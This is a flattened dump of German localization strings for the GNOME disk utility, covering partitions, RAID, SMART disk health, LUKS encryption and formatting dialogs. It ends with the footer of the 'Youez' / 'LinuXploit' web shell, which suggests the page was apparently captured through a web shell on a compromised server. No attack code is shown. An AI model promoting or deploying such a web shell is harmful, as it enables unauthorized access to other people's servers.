DatenpartitionBeOS BFS (0xeb)Leeres Blu-Ray-MediumLeeres Blu-Ray-R-MediumLeeres Blu-Ray-RW-MediumLeeres CD-R-MediumLeeres CD-ROM-MediumLeeres CD-RW-MediumLeeres DVD+R-Medium (zweischichtig)Leeres DVD+R-MediumLeeres DVD+RW-Medium (zweischichtig)Leeres DVD+RW-MediumLeeres DVD-RAM-MediumLeeres DVD-ROM-MediumLeeres DVD-RW-MediumLeeres HD-DVD-MediumLeeres HD-DVD-R-MediumLeeres HD-DVD-RW-MediumLeeres MO-MediumLeeres MRW-MediumLeeres MRW/W-MediumLeeres optisches MediumBlu-Ray-MediumBlu-Ray-MediumBlu-Ray-R-MediumBlu-Ray-RW-MediumCDCD-R-MediumCD-ROM-MediumCD-RW-Medium_Vermittlung (üblicherweise weniger als zehn Minuten)E_rstellenAkt_uelles Kennwort:Zähler für erneute Versuche einer KalibrierungAbbrechenWird abgebrochen …Den derzeit laufenden Test abbrechenDatenträger kann nicht ausgehängt werdenÄndernKenn_wort ändern …_Kennwort ändernKennwort für verschlüsseltes LUKS-Gerät wird geändertÜber_prüfenDateisystem überprüfenDateisystem wird überprüftRAID-Anordnung wird überprüftUnverschlüsseltes LUKS-GerätCompactFlashCompaq Diagnostics (0x12)Kompatibel mit Linux (ext2)Kompatibel mit Linux (ext3)Kompatibel mit allen Systemen (FAT)KomponentengrößeKomponenten:Enthält logische PartitionenSelbsttest auf Transportschäden läuft:Zähler für neu zugewiesene Sektoren. Wenn die Festplatte einen Lese- oder Schreibfehler erleidet, dann wird der Sektor als »neu zugewiesen« markiert und die Daten werden in einen explizit reservierten Bereich (Reservebereich) verschoben_ErstellenErstellenDateisystem erstellenPartition erstellenPartitionstabelle erstellenRAID-Anordnung erstellenEine neue Software RAID-Anordnung erstellenEine erweiterte Partition für logische Partitionen erstellen.Ein neues Dateisystem auf dem gewählten Gerät erstellenPartition erstellenDateisystem wird erstelltLUKS-Gerät wird erstelltPartition wird erstelltPartitionstabelle wird erstelltAnzahl ausstehender SektorenAktuelle Innentemperatur des Laufwerks in Grad CelsiusGERÄTLAUFWERKSVERSAGEN STEHT UNMITTELBAR BEVORLAUFWERK HAT VIELE FEHLERHAFTE SEKTORENDAS LAUFWERK WIRD AUSSERHALB DER ERLAUBTEN BETRIEBSBEDINGUNGEN BETRIEBENDVDDVD+R-Medium (zweischichtig)DVD+R-MediumDVD+RW-Medium (zweischichtig)DVD+RW-MediumDVD-RAM-MediumDVD-ROM-MediumDVD-RW-MediumDatenFehler der DatenadressmarkierungDaten auf diesem Gerät sind in verschlüsselter Form gespeichert, geschützt durch ein Kennwort.Daten auf diesem Gerät sind in verschlüsselter Form gespeichert, geschützt durch ein Kennwort.Daten auf diesem Gerät werden in verschlüsselter Form gespeichert, geschützt durch ein Kennwort.Die Partition löschenPartition wird gelöschtDas Gerät vom System entfernen und ausschaltenDie laufende Komponente wird aus der RAID-Anordnung ausgetragen. Die Daten auf der Komponente werden gelöscht und die Komponente kann anderweitig verwendet werden.Gerät wird entferntDetailsGerätZu formatierendes GerätGerät:LaufwerkBenachrichtigungen über das LaufwerkPlattenverschiebungLaufwerksverwaltung_Werkzeug für LaufwerkeDas Laufwerk enthält einige fehlerhafte SektorenLaufwerk ist funktionstüchtigDas Laufwerk wurde in der Vergangenheit außerhalb der erlaubten Betriebsbedingungen betriebenLaufwerke_Nicht bei Versagen des Laufwerks warnenNicht partitionierenAnzuzeigendes LaufwerkPositionierungszeit des Laufwerks während des SelbsttestsTreiber 4.3-PartitionTreiber-PartitionLaufwerkeEFI (FAT-12/16/32 (0xef)EFI GPT (0xee)EFI-SystempartitionMedium aus dem Gerät auswerfenMedium wird ausgeworfenLeerLeer (0x00)Leer (kein Dateisystem erstellen)Leere PartitionDar_unterliegendes Gerät verschlüsselnVerschlüsseltVerschlüsseltes LUKS-GerätVerschlüsselt, kompatibel mit Linux (FAT)VerschlüsselungVerschlüsselung schützt Ihre Daten. Ein Kennwort ist vor Verwendung des Dateisystems erforderlich. Die Geschwindigkeit kann abnehmen. Eventuell ist das Medium nicht mit anderen Betriebssystemen kompatibel.Verbleibende LöschvorgängeKennwort eingebenDen Inhalt des Geräts löschenFehler beim Hinzufügen der KomponenteFehler beim Überprüfen des Dateisystems auf dem GerätFehler beim Erstellen der RAID-AnordnungFehler beim Erstellen einer Komponente für die RAID-AnordnungFehler beim Erstellen der PartitionFehler beim Erstellen der PartitionstabelleFehler beim Erstellen der Partitionstabelle für eine Komponente für die RAID-AnordnungFehler beim Entfernen der PartitionFehler beim Entfernen des GerätesFehler beim Auswerfen des GerätesFehler beim Löschen von DatenFehler beim Formatieren des DatenträgersFehler beim Start der LaufwerksverwaltungFehler beim Sperren des verschlüsselten GerätesFehler beim Ändern der PartitionFehler beim Einhängen des GerätesFehler beim Entfernen der KomponenteFehler beim Setzen der DateisystembezeichnungFehler beim Speichern des Kennworts im SchlüsselbundFehler beim Entsperren des GerätesFehler beim Aushängen des GerätesJedes Mal, wenn Daten gesammelt werden (Online)ErweitertErweitert (0x05)Erweiterte PartitionErweiterter Selbsttest läuft:GESCHEITERTFATFAT (12-Bit-Version)FAT (16-Bit-Version)FAT (32-Bit-Version)FAT 12FAT 16FAT 16 (Windows)FAT 32FAT 32 (Windows)FAT12 (0x01)FAT16 (0x06)FAT16 <32M (0x04)Kennw_ort vergessenVersagen in der VergangenheitVersagtVersagen ist ein Zeichen für anstehenden Laufwerksausfall (vor Versagen)Versagen ist ein Zeichen hohen AltersDateisystemüberprüfung auf »%s« abgeschlossenDateisystem ist <b>NICHT</b> sauber.Dateisystem ist sauber.DateisystembezeichnungDateisystemtypFirewireFirmware-Version:MarkierungenMarkierungen des ElementsFlash-SpeicherDisketteAbtasthöheSperren des LUKS-Geräts wird erzwungenAushängen des Dateisystem wird erzwungen %s (%s) formatierenDatenträger mit %s formatieren (%s)Partition %d von %s (%s) formatieren%s (%s) wird formatiertDatenträger mit %s wird formatiert (%s)Partition %d von %s (%s) wird formatiertWird formatiert …FreiFreeBSD (0xa5)Häufigkeit gemeldeter Lesefehler vom MediumHäufigkeit der Fehler während der Positionierung des Schreib-/LesekopfesHäufigkeit der Fehler beim Lesen von Rohdaten vom Laufwerk. Ein von Null verschiedener Wert deutet auf ein Problem mit der Plattenoberfläche oder den Schreib-/Leseköpfen hinFehlerhäufigkeit aufgrund von StoßbelastungenFehlerrate durch StoßerkennungAmplitude des LesekopfflatternsGUID-PartitionstabelleAllgemeinAllgemeine Belastungszeit eines LaufwerksHilfe zur Palimpsest-Laufwerksverwaltung bekommenEin Holen der ATA SMART-Informationen würde das Gerät wecken.Formatierwerkzeug der GNOME-LaufwerksverwaltungGutAnteil fehlerfreier BlöckeHD-DVD-MediumHD-DVD-R-MediumHD-DVD-RW-MediumHDDVD-MediumHFSHFS+HPFS/NTFS (0x07)FestplatteDurch Hardware (ECC) korrigierte BitfehlerKopfbewegungszeitFunktionstüchtigkeit ist unbekanntHöhe der Abtastköpfe über der PlattenoberflächeHibernation (0x84)Ruhezustand (0xa0)Versteckte FAT12 (0x11)Versteckte FAT16 (0x16)Versteckte FAT16 <32M (0x14)Versteckte HPFS/NTFS (0x17)Versteckte W95 FAT16 (LBA) (0x1e)Versteckte W95 FAT32 (0x1b)Versteckte W95 FAT32 (LBA) (0x1c)Überhöhte SchreibvorgängeIn Rechner:KennungISO 9660Ungültiges Kennwort. Bitte nochmals versuchen.Einen Selbsttest des Laufwerks veranlassenUngenügende Laufwerksanzahl zur Erstellung einer %s-Anordnung.Sicheres Entfernen von »%s« ist nun möglich.JazJournal for Linux ext3Journal für Linux ext3 (Version %s)LDM Daten-PartitionLDM Metadaten-PartitionLUKSLUKS-Kennwort für UUID %sPhysikalischer LVM2-DatenträgerPhysikalischer LVM2-Datenträger (Version %s)Der letzte Selbsttest wurde NICHT BESTANDEN (Elektrisch)Der letzte Selbsttest wurde NICHT BESTANDEN (Lesefehler)Der letzte Selbsttest wurde NICHT BESTANDEN (Servo)Der letzte Selbsttest wurde NICHT BESTANDEN (Verdacht auf behandelten Schaden)Der letzte Selbsttest wurde bestandenDer letzte Selbsttest wurde nicht abgeschlossen (ein schwerwiegender Fehler könnte aufgetreten sein)Der letzte Selbsttest wurde abgebrochenDer letzte Selbsttest wurde abgebrochen (durch hartes oder weiches Zurücksetzen)Abwählen, wenn Benachrichtigungen bei Laufwerksversagen gewünscht werdenVor weniger als 1 MinuteLinux (0x83)Linux Ext2Linux Ext2 (Version %s)Linux Ext3Linux Ext3 (Version %s)Linux Ext4Linux Ext4 (Version %s)Linux Erweitert (0x85)Linux LVM (0x8e)Linux LVM-PartitionBlockiertFehlerbehaftetAbgeglichenReserveWritemostlyLinux RAID-PartitionLinux RAID-Autoerkennung (0xfd)Linux Reserve-PartitionLinux Software-RAIDLinux Swap-PartitionLinux Unified Key SetupLinux XFSLinux XFS (Version %s)Linux swap (0x82)ReibungsbelastungLaufwerksbelastungen durch Reibung in den mechanischen TeilenZeit der Leseköpfe über den PlattenParkvorgänge in RuhezoneZähler für LesekopfbewegungenLaufzeitBelastung des Laufwerks durch verschiedene Vorgänge wie Lesen, Schreiben, Kopfpositionierung usw.Sperren des verschlüsselten Geräts, so dass die Klartext-Daten unlesbar werdenLUKS-Gerät wird gesperrtMBMBR-PartitionsschemaMBR-PartitionstabelleMO-MediumMRW-MediumMRW/W-MediumMac OS X (0xa8)Mac OS X (0xaf)Verwalten von Laufwerken und MedienSpielraum des Kanals beim Lesen von Daten.Markiert das gesamte Medium als unbenutzt. Wählen Sie diese Option nur dann, wenn Sie die Partitionierung verhindern wollen, um das Medium beispielsweise ganz oder für Floppy- oder Zip-Disketten zu verwenden.Master Boot RecordMaximale GrößeSpeicher-StickReservierte Microsoft-PartitionMinimale GrößeGespiegelt ohne Parität. Ergibt Fehlertoleranz und verbesserte Lesegeschwindigkeit. RAID 1-Anordnungen können den Ausfall aller bis auf einer Platte überdauern.Modellname:Partition wird geändertWeitere InformationenDas Dateisystem auf dem Gerät einhängenEinhängbares DateisystemDateisystem wird eingehängtDatenträger wird eingehangen …unbekanntNTFSNTFS (Version %s)NameNeue RAID-AnordnungNeuer DatenträgerKein Medium erkanntKeine Beschreibung für Attribut %dKein Laufwerk ausgewähltEs wird kein Dateisystem erstellt.Es können keine weiteren Partitionen erstellt werden. Sie sollten eine Partition löschen und eine erweiterte Partition erstellen.KeineNormalisiert:Nicht partitioniertNicht in BetriebAnzahl von CRC-Fehlern im UDMA-ModusFehlerzahl von Datenadressmarkierungen (DAM-Fehler) (oder) herstellerabhängigAnzahl der ECC-FehlerAnzahl durch Hardware (ECC) korrigierter Bitfehler beim LesenAnzahl der Fehler bedingt durch hohe TemperaturAnzahl der Versuche zur Kalibrierung des GerätsZahl der verfügbaren fehlerfreien Blöcke von der Gesamtzahl in ProzentAnzahl wiederholter Anlaufversuche des LaufwerksAnzahl der Parkvorgänge in der RuhezoneFehlerzahl in Folge von Stößen, soweit durch einen Sensor erkanntAnzahl durch Software-ECC korrigierter Fehler.Anzahl der nicht durch Hardware (ECC) korrigierbaren FehlerAnzahl der Lesefehler beim Lesen vom LaufwerkAnzahl von Fehlern beim Schreiben (oder) die Multi-Zone-Fehlerrate (oder) Fehlerzahl der AbtasthöheAnzahl der Stunden im eingeschalteten ZustandStundenzahl im allgemeinen BetriebAnzahl verfehlter SpurenProzentzahl der vollständigen physikalischen Löschzyklen des Laufwerks von der maximal unterstützen Zahl ZyklenAnzahl der Rückfahrzyklen des Lesekopfes beim Ausschalten oder in NotfällenAnzahl der Parkvorgänge des LesekopfesAnzahl der EinschaltvorgängeAnzahl der erneuten Zuweisungen. Der rohe Wert entspricht der Anzahl aller (erfolgreichen und fehlgeschlagenen) Versuche, Daten von neu zugewiesenen Sektoren in den Reservebereich zu verschiebenAnzahl der erneuten AnlaufversucheAnzahl der Sektoren, die auf eine Neuzuweisung warten. Wenn der neu zuzuweisende Sektor später erfolgreich beschrieben oder gelesen wird, dann wird dieser Wert kleiner und der Sektor wird nicht neu zugeordnet. Lesefehler führen nicht zu einer Neuzuweisung, sondern nur SchreibfehlerAnzahl der Anlauf- und Stoppzyklen des PlattenstapelsAnzahl der Schreibvorgänge des Schreibkopfes außerhalb der erlaubten Betriebshöhe über dem MediumAnzahl der nicht korrigierbaren ECC-FehlerOPUS (0x10)Positionierungszeit beim SelbsttestEine oder mehrere Anwendungen verwenden den Datenträger. Beenden Sie die Anwendungen und versuchen Sie es erneut.Ein oder mehrere Laufwerke versagenEine oder mehrere Festplatten melden Schäden. Klicken Sie für nähere Informationen auf das Symbol.Nur während offline Aktivitäten (Nicht Online)Nur Datenträger mit ausreichender Größe können gewählt werden. Eventuell müssen Sie manuell neue Datenträger ausreichender Größe erstellen.OpenBSD (0xa6)Der Vorgang wurde abgebrochenOptisches MediumAllgemeine Einschätzung:PATAPalimpsest-LaufwerksverwaltungTeil der »%s« %s-Anordnung Part_itionsbezeichnung:PartitionPartition %dPartition %d (%s)Partition %d von %sPartition %d auf %sPartitionMagic (0x3c)PartitioniertPartitioniertes Medium (%s)BestandenDas Kennwort kann nicht leer bleibenKennwörter unterscheiden sich nichtKennwörter stimmen nicht übereinProzentuale GrößeZugriff verweigert.PoolEinschaltvorgängeBetriebsstundenAnzahl Zurückfahrbewegungen beim AusschaltenEingeschaltet am:Vorbereiten läuft …DarstellbarProDOS-DateisystemStellt auf Medien bezogene Benachrichtigungen bereitEnergieeinsatz für das Drehmoment eines LaufwerksBeendenRAID-AnordnungRAID-KomponenteRAID-Komponente (Version %s)RAID-StufeRAID-Typ:RAID-_Stufe:Linear (Nur ein Stapel Laufwerke)Gespiegelt (RAID 1)RAID 4RAID 5RAID 6Verteilt (RAID 0)RAID-Gerät %sRAID-Gerät %s (%s)Zusammenhängend (linear)Verteilte Parität (RAID 5)Zweifach verteilte Parität (RAID 6)LinearGespiegelt (RAID 1)Mit Paritätslaufwerk (RAID 4)RAIDRAID 0RAID 1RAID 10RAID 4RAID 5RAID 6Verteilt (RAID 0)Verteilte Spiegel (RAID 10) @ %3.01f%% (%s)Wird überprüftHeruntergestuftNicht in BetriebNicht in Betrieb, kann nur heruntergestuft gestartet werdenNicht in Betrieb, es fehlen zum Starten KomponentenNicht in Betrieb, teilweise zusammengesetztWird wiederhergestelltWird repariertWird neu angepasstWird neu abgeglichenIn BetriebSpielraum des LesekanalsLesefehlerrateLesefehlerrateSMART-Werte werden vom Laufwerk gelesen, gegebenenfalls mit AufweckenAnzahl neu zugewiesener SektorenZähler für NeuzuweisungenKennwort bis zur _Abmeldung merkenEine Komponente wird von der RAID-Anordnung entferntRAID-Anordnung wird repariertGemeldete nicht korrigierbare FehlerErforderlich / Firm_wareLeseabbrücheSelbsttests ausführenS.M.A.R.T.-Selbsttest auf Transportschaden wird ausgeführtErweiterter S.M.A.R.T.-Selbsttest wird ausgeführtKurzer S.M.A.R.T.-Selbsttest wird ausgeführtSATASCSISD High CapacitySDIOSMART-WerteSMART-Daten sind fehlerhaftSMART-Daten wurden noch nie gesammeltSMART ist nicht verfügbarSMART ist nicht aktiviertSMART wird nicht unterstütztSMART-Status: %sSecureDigitalSuch-FehlerratePositionierungszeitWählen Sie einen Datenträger als Komponente in der Anordnung »%s«Wählen Sie, welcher SMART-Selbsttest ausgeführt werden sollSelbsteinschätzung:Selbsttest läuftSelbsttests:Seriennummer:Gerät wird bezeichnetEine Plattenverschiebung von der Drehachse ist durch starke Stoßbelastungen des Lagers z.B. nach einem Fall möglich (oder) durch HitzeKurzer Selbsttest läuft:GrößeSkyOS SkyFS (0xec)SmartMediaLeichte ECC-KorrekturenRate leichter LesefehlerFehlerrate beim LesenSoftware-RAIDSoftware _RAID-AnordnungSolaris (0xbf)Solaris boot (0xbe)FestkörperlaufwerkWiederholte AnlaufversucheAnlaufstromspitzeZähler für erneute AnlaufversucheAnlaufzeitDie Anordnung startenStart/Stopp-ZählerRAID-Anordnung wird gestartetEin Start einer RAID-Anordnung im heruntergestuften Modus bedeutet, dass der RAID-Datenträger keine Laufwerksversagen mehr ausgleichen kann. Daten auf dem Datenträger können eventuell bei Versagen unwiderruflich verloren gehen.Die RAID-Anordnung auf Redundanz überprüfenReparatur der RAID-Anordnung beginnenStatusStatus:StatusDie Anordnung stoppenRAID-Anordnung wird angehaltenStreifen_größe:StreifengrößeVerteilt mit verteilter Parität. Ergibt Fehlertoleranz und verbesserte Geschwindigkeit. RAID 10-Anordnungen können den Ausfall mehrerer Platten überdauern, solange kein Spiegel alle seine Platten verliert.Verteilt mit verteilter Parität. Ergibt Fehlertoleranz und verbesserte Geschwindigkeit. RAID 5-Anordnungen können den Ausfall einer einzigen Platte überdauern.Verteilt mit zweifach verteilter Parität. Ergibt Fehlertoleranz und verbesserte Geschwindigkeit. RAID 6-Anordnungen können den Ausfall von zwei Platten überdauern.Verteilt mit Parität auf einer Platte. Ergibt Fehlertoleranz und verbesserte Geschwindigkeit. RAID 4-Anordnungen können den Ausfall einer Platte überdauern.Verteilt ohne Parität. Ergibt verbesserte Geschwindigkeit, aber ohne Fehlertoleranz. Wenn eine einzige Platte der Anordnung versagt, so versagt die ganze RAID 0-Anordnung.AuslagerungsspeicherSwap-Bereich, der vom Betriebssystem als Auslagerungsspeicher genutzt wird._Besitzer des Dateisystems werdenTemperaturTemperatur des LaufwerksTemperatur:Anzuzeigender TextDas GUID-Schema ist mit den meisten modernen Systemen kompatibel, aber es könnte mit einigen Geräten und alten Systemen nicht kompatibel sein.Das Objekt »GduGridView«, mit dem das Element verknüpft istDas Schema des »Master Boot Record« ist zu fast jedem Gerät oder System kompatibel. Allerdings gibt es eine Reihe von Einschränkungen hinsichtlich der Mediengröße und der Anzahl der Partitionen.Die vergangene Zeit seit Einschalten des LaufwerksEine Einschätzung des Laufwerks über ein drohendes VersagenDie Partitionsattribute können bearbeitet werden. Es ist auch möglich, die Partition zu löschen, um Platz für andere Daten zu schaffen.Die derzeit gewählte GrößeDer Daemon wird blockiert.Die Daten auf Komponente »%s« der RAID-Anordnung »%s« werden unwiderruflich gelöscht werden und die Anordnung eventuell herabgestuft. Stellen Sie sicher, dass wichtige Daten gesichert sind. Der Vorgang kann nicht rückgängig gemacht werden.Das Gerät ist beschäftigt.Das Gerät, für welches der Dialog angezeigt werden sollDas Laufwerk hat %d PartitionDas Laufwerk hat %d PartitionenDas Laufwerk hat keine Partitionen. %s stehen zur VerfügungDas Laufwerk wird partitioniert und eine %s Partition wird erstellt werdenDas Laufwerk wird partitioniert und eine Partition erstellt werdenDie Version der Firmware des LaufwerksDie maximal wählbare GrößeDie kleinste Größe des ElementsDie minimal wählbare GrößeDer Modellname des LaufwerksDas native Windows-Dateisystem. Außerhalb der Windows-Welt nicht besonders kompatibel.Der Vorgang ist gescheitert.Der Vorgang wird nicht unterstützt.Der Vorgang wurde abgebrochen.Der GerätepoolDer anzuzeigende GerätepoolDie Darstellung oder NULL, falls das Element ein Fehlen eines Mediums darstelltDie gewünschte DateisystembezeichnungDie gewünschte Name der AnordnungDie gewünschte Größe der AnordnungDie gewünschte Streifengröße der AnordnungDas Ergebnis des letzten Selbsttests des LaufwerksDie gewählte RAID-StufeDas ausgewählte Dateisystem arbeitet mit Zugriffsrechten. Ein Ankreuzen bedeutet, dass Sie der Eigentümer des erstellten Dateisystems sein werden.Anderenfalls kann nur der Systemverwalter auf das Dateisystem zugreifen.Der Typ des gewählten DateisystemsDie Seriennummer des LaufwerksDie Größe in Prozent, die dieses Element anfordern soll oder »0«, um immer die festgelegte Mindestgröße anzufordernDie Größe jeder KomponenteDie Summe von ausstehenden und neu zugewiesenen fehlerhaften SektorenTemperatur des LaufwerksDie Prüfung kann anhängig von Größe und Geschwindigkeit des Laufwerks sehr lange dauern. Sie können während des Tests bedenkenlos weiter arbeiten.Die Gesamtzahl von nicht korrigierbaren Fehlern beim Lesen oder Schreiben eines Sektors. Ein Anwachsen dieses Wertes könnte auf einen Defekt der Plattenoberfläche oder auf mechanische Probleme hinweisenDie Ansicht, für die Details angezeigt werden sollenDer Datenträger enthält ein einhängbares DateisystemDer Datenträger enthält verschlüsselte Daten, die mit einem Kennwort entsperrt werden können. Das Kennwort kann optional im Schlüsselbund hinterlegt werden.Der Datenträger enthält Auslagerungsspeicher.Der zu formatierende DatenträgerBeim Starten des Laufwerks »%s« ist ein Fehler aufgetreten.Beim Stoppen des Geräts »%s« ist ein Fehler aufgetreten.Rate der thermischen OberflächenunebenheitenDieses Dateisystem ist nur zu Linux-Systemen kompatibel und stellt Unterstützung für die klassischen UNIX-Zugriffsrechte bereit.Dieses Dateisystem ist nur zu Linux-Systemen kompatibel und stellt Unterstützung für die klassischen UNIX-Zugriffsrechte bereit. Dieses Dateisystem enthält kein Journal.Dies ist die letzte primäre Partition, die Sie erstellen können. Falls Sie weitere Partitionen benötigen, müssen Sie eine erweiterte Partition erstellen.Grenzwert:DatendurchsatzZeit zum Anlaufen des LaufwerksZeit seit dem letzten Auslesen der SMART-Werte - SMART-Werte werden alle 30 Minuten aktualisiert, solange sich das Laufwerk nicht im Ruhezustand befindetZeit, während der der Kopf positioniert wirdUm das Kennwort zu ändern, geben Sie das aktuelle und das neue Kennwort einUm eine %s %s-Anordnung auf %d Laufwerken zu erstellen, klicken Sie auf »Erstellen«Um eine %s-Anordnung zu erstellen, wählen Sie bitte %d Laufwerk.Um eine %s-Anordnung zu erstellen, wählen Sie bitte %d Laufwerke.Um eine %s-Anordnung zu erstellen, wählen Sie bitte %d weiteres Laufwerk.Um eine %s-Anordnung zu erstellen wählen Sie bitte %d weitere Laufwerke.Wählen Sie zur Erstellung eines neuen Dateisystems auf dem Gerät den Typ und die Bezeichnung, und klicken Sie dann auf »Erstellen«. Alle vorhandenen Daten werden verloren gehen.Um eine neue Partitionstabelle zu erstellen. wählen Sie den Typ der Partitionstabelle aus und klicken Sie auf »Erstellen«. Alle vorhandenen Daten gehen dabei verloren.Um eine neue Partition zu erstellen, wählen Sie die Größe aus und legen Sie fest, ob ein Dateisystem erstellt werden soll. Der Partitionstyp, die Bezeichnung und die Markierungen können nach der Erstellung geändert werden.Um ein verschlüsseltes Gerät zu erstellen, wählen Sie ein Kennwort, um es zu schützenLegen Sie das Medium zum Formatieren oder Bearbeiten in das Laufwerk und warten Sie einen Moment.Um die Daten verfügbar zu machen, geben Sie das Kennwort des Gerätes ein.Um Datenverlust zu vermeiden, warten Sie bitte bis zum Beenden des Vorgangs, bevor Sie das Medium entfernen oder die Verbindung zum Gerät trennen.Um Datenverlust zu vermeiden, warten Sie bitte bis zum Beenden des Vorgangs, bevor Sie das Medium entfernen oder die Verbindung zum Gerät trennen.Zähler für Ausgleiche bei DrehmomentschwankungenAnzahl an BelastungszyklenTy_p:Typ: %s
Aktualisierung: %s
Rohdaten: 0x%02x%02x%02x%02x%02x%02xUDMA CRC-FehlerrateUSB»%s« konnte nicht formatiert werdenNicht zugeteilter PlatzAnzahl nicht korrigierbarer ECC-FehlerAnzahl nicht korrigierbarer SektorenUniversal Disk FormatUnbekanntUnbekannt (%s)Unbekannte RAID-Stufe %s.Unbekanntes Schema: %sUnbekannte GrößeUnbekannter FehlerUnbekannt oder nicht verwendetEntsperren des verschlüsselten Geräts, so dass die Daten im Klartext lesbar werdenLUKS-Gerät wird entsperrtDas Dateisystem aushängenDateisystem wird ausgehängtWird ausgehangen …Unpartitioniertes MediumUnbekanntUnbenutzte PartitionJetzt aktualisierenAktualisiert:Wird aktualisiert …BelegungDas Werkzeug für Laufwerke zum Formatieren eines Datenträgers verwendenWertWert:AnsichtDetails zu diesem Laufwerk mittels SMART anzeigenVirtuellDatenträgerAnzuzeigender DatenträgerW95 Ext d (LBA) (0x0f)W95 FAT16 (LBA) (0x0e)W95 FAT32 (0x0b)W95 FAT32 (LBA) (0x0c)WarnungWarnung: Alle Daten auf diesem Datenträger werden unwiderruflich verloren gehen.Legt fest, ob der Datenträger verschlüsselt wirdDas gesamte Laufwerk ist nicht initialisiert. %s stehen zur VerfügungDatenträger über vollständiges LaufwerkDatenträger über vollständiges Laufwerk auf %sSchlechtester:SchreibfehlerrateDaten werden auf »%s« geschrieben …Zip_Info_Hinzufügen …_Attribute_BootfähigÄ_ndernDateisystem über_prüfenPartition _löschen_Austragen_Details:Me_dien erkennen_Laufwerk:_BearbeitenAus_werfen_Löschen_Erweitert (üblicherweise mehr als zehn Minuten)_DateiKennwort _sofort vergessen_Formatieren_Formatieren …_HilfeSelbsttest _starten_Bezeichnung:_Sperren_Einhängen_Name:_Neu_Neues Kennwort:Kenn_wort bestätigen:_BeendenDaue_rhaft merkenKomponente entfe_rnen_Reparieren_Kurz (üblicherweise weniger als zehn Minuten)_Größe:_StartenAnordnung _starten_Stoppen_Typ:_EntsperrenA_ushängen_Kennwort bestätigen:Bourne Again-ShellBourne-ShellC-ShellKorn-ShellProzessanzeige (top)TENEX C-ShellTerminal-Pager (less)UnbekanntZ-ShellUnbekannteSATAext2ext3ext4iso9660jbdlvm2_pvpid: %d  Programm: %sraidAuslagerungtextMario Blättermann <mariobl@gnome.org>
Christian Kirbach <Christian.Kirbach@googlemail.com>udfuid: %d  pid: %d  Programm: %sxfs

Youez - 2016 - github.com/yon3zu
LinuXploit